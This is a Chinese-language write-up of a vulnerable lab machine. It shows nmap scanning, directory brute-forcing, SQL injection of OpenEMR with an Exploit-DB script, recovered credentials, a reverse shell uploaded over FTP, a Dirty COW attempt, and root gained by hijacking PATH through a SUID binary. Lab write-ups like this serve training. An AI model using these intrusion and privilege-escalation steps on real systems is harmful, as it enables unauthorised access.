主机发现

sudo nmap -sn 192.168.162.0/24

端口扫描

sudo nmap --min-rate 10000 -p- 192.168.162.146 
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-08 21:26 CST
Nmap scan report for 192.168.162.146
Host is up (0.00055s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
MAC Address: 00:0C:29:92:2A:A9 (VMware)
sudo nmap -sT -sV -sC -O -p21,80 192.168.162.146
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-08 21:26 CST
Nmap scan report for 192.168.162.146
Host is up (0.00030s latency).

PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.3d
80/tcp open http Apache httpd 2.2.17 ((PCLinuxOS 2011/PREFORK-1pclos2011))
|_http-title: Coming Soon 2
| http-robots.txt: 8 disallowed entries
| /manual/ /manual-2.2/ /addon-modules/ /doc/ /images/
|_/all_our_e-mail_addresses /admin/ /
|_http-server-header: Apache/2.2.17 (PCLinuxOS 2011/PREFORK-1pclos2011)
MAC Address: 00:0C:29:92:2A:A9 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 2.6.38 (99%), Linux 2.6.32 - 3.5 (98%), Linux 2.6.38 - 3.0 (97%), Linux 2.6.37 (96%), Linux 2.6.9 - 2.6.30 (96%), Linux 2.6.32 - 3.10 (96%), Linux 2.6.18 - 2.6.32 (95%), OpenWrt (Linux 2.4.32) (95%), Linux 2.6.22 (Fedora Core 6) (94%), Linux 2.6.27 - 2.6.28 (94%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Unix

好老版本的内核,FTP看了一下不能匿名登录

web

gobuster dir -u http://192.168.162.146/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -x rar,zip,sql,txt,jsp,php,html,bak

扫一下目录,大部分都没能访问因为没有权限,但是有一个openemr目录可以访问。是一个登陆界面,看似是一个CMS。搜了一下这个版本是有挺多洞

cp /usr/share/exploitdb/exploits/php/webapps/49742.py ~/桌面

利用这个试试,编辑脚本里的url换成自己的靶机。运行之后会自动注入出用户名和密码的哈希。不过好像直接跑sqlmap也能出来

得到

admin:ackbar

medical:medical

发现第二个凭证能够用于ftp登录。把所有东西都下载下来,看到一个password。于是又多了一对凭证

root:root

Getshell

我们用第一个凭证能够登录这个CMS。(好有年代感的页面。转了一圈并没有什么东西可以用。感觉ftp那边一定有什么可以用得上,于是又回去了。pwd发现我们在medical的家目录,但是发现我们可以cd至/var/www/html目录,ls发现我们用拥有openemr目录的权限!那我们就可以上传一个反弹shell上去了

开启监听,然后在访问得到shell,移动到mecical用户看看

提权

发现除了medical还有一个almirant用户。但是没有什么用于横向移动的凭证,甚至没有安装sudo命令。在最开始看到了机器的内核版本非常低,试试看内核提权,穿个linpeas。试试看脏牛,在shell里没权限gcc,那就在kali中编译好

gcc -static -o 40611 40611.c

抽象了,提示不能执行二进制文件。看来内核提权的机会看起来有点渺茫。

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null

找一下UID和GID,发现一个healthcheck,和这台靶机的名字也有点关系。运行发现输出了一些系统设置。试着用ida看看这个程序做了什么

cp /usr/bin/healthcheck /home/medical/healthcheck

使用nc将文件传到kali

进入main函数,看到使用了一些sleep,ifconfig之类的系统命令并且没有绝对路径,那我们就能劫持环境变量了

劫持ifconfig,cd至/tmp

export PATH=/tmp:$PATH

创建一个ifconfig,并输入

#!/bin/bash
/bin/bash
chmod +x ifconfig

cd至/usr/bin

./healthcheck

成功提权

碎碎念

怎么说呢,中等难度靶机吧,但是Web的内容还是挺多的,并且那个CMS实际上没什么用的样子,如果陷进去就要花不少时间了。通过ftp传马也不是第一次见了,后面的环境变量劫持也比较熟悉。